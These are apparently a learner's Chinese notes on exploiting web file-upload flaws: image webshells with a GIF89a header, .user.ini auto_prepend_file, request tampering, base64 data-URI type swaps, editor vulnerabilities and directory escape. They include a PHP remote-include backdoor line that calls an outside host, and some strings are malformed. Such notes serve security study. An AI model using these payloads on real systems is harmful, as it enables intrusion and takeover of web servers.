文件上传漏洞(图片马)

文件头
png
GIF89a

1、先想办法上传带后门的文件xxx
xxx中有远程连接木马的代码(地址)

GIF89a
<?=include’http://794750069/'>
2、在上传 .user.ini 文件使全局包括 xxx文件
auto_prepend_file=xxx

访问:

1、图片二次渲染
过滤图片中的恶意代码

可以对比渲染前后二进制代码
找出共同部分
在此插入后门
会有文件检测程序
很大几率不成功

二次渲染过的成功上传的图片进行二进制脚本注入恶意代码

2、过滤字符组合

总结步骤:
1、查看前端是否有验证
有验证直接修改
没有验证直接抓包

2、抓到包修改Content-Disposition filename = ‘xxx.php’
Content-Type: image/png

内容:xxxxxxxxxxxxxx(可插入后门代码)

如果直接上传成功,则直接利用

3、有内容字符过滤

  • 转换后门代码格式

  • 图片中内容字符中可以插入后门代码

  • 图片有二次渲染则保存二次渲染的图片

    • 在二次渲染的图片中插入后门代码
  • 突破 . 过滤

    • 利用远程ip转换地址调用执行
      .user.ini 文件 auto_prepend_file=xxx.png
      xxx.png
      远程地址文件中添加后门,可以远程调用

调用:
post:x=执行文件


黑盒:
—-寻找一切勋在文件上传的功能应用
1、个人用户中心是否存在文件上传功能
2、后台管理系统是否存在文件上传功能
3、字典目录扫描探针文件上传构造地址
4、字典目录扫描探针编辑器目录构造地址
白盒:
—-白盒看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或者搜索关键字

编辑器分类:

Ueditor
fckeditor
kindeditor
ewebeditor

白盒直接搜索editor

应用———-web应用引用的第三方插件


白盒分析:

文件上传
上传图片:
图片解析有文件头并且把文件解析为base64格式

所以我们可以把后门代码解析成base64格式,插入文件解析中

文件头:
data%3Aimage%2image%base64xxxxxxxxxxxxxxxx
修改为PHP:
data%3Aimage%2php%base64xxxxxxxxxxxxxxxx(插入后门代码)
会覆盖原来上传的img文件为PHP文件

黑盒分析:
分析寻找抓包点,修改突破状态码及地址

审计流程:
功能点–代码文件–代码块–抓包调试–验证测试

白盒分析:

审计流程:同上

黑盒思路:探针目录利用编辑器漏洞测试

forbidden

当即文件夹由于.htaccess 设置禁止禁止访问.php .php2 等等文件

跳跃到上一个目录
.file/x.php ../x.php

fuck.php版本需要在5.45以下,然后为什么没有讲这个知识点老PHP都是高版本,大部分都是PHP7已经出8 了
白盒测试
直接打开文件目录

直接看到fck编辑器
直接搜索fck 编辑器漏洞

——— 白盒看三点:

1、中间件(中间件不同版本漏洞)(语言环境,)——–
2、编辑器(看编辑器,直接搜索该编辑器的漏洞)——–ditor
3、功能代码(程序员自己写的,可能会存在逻辑漏洞)—-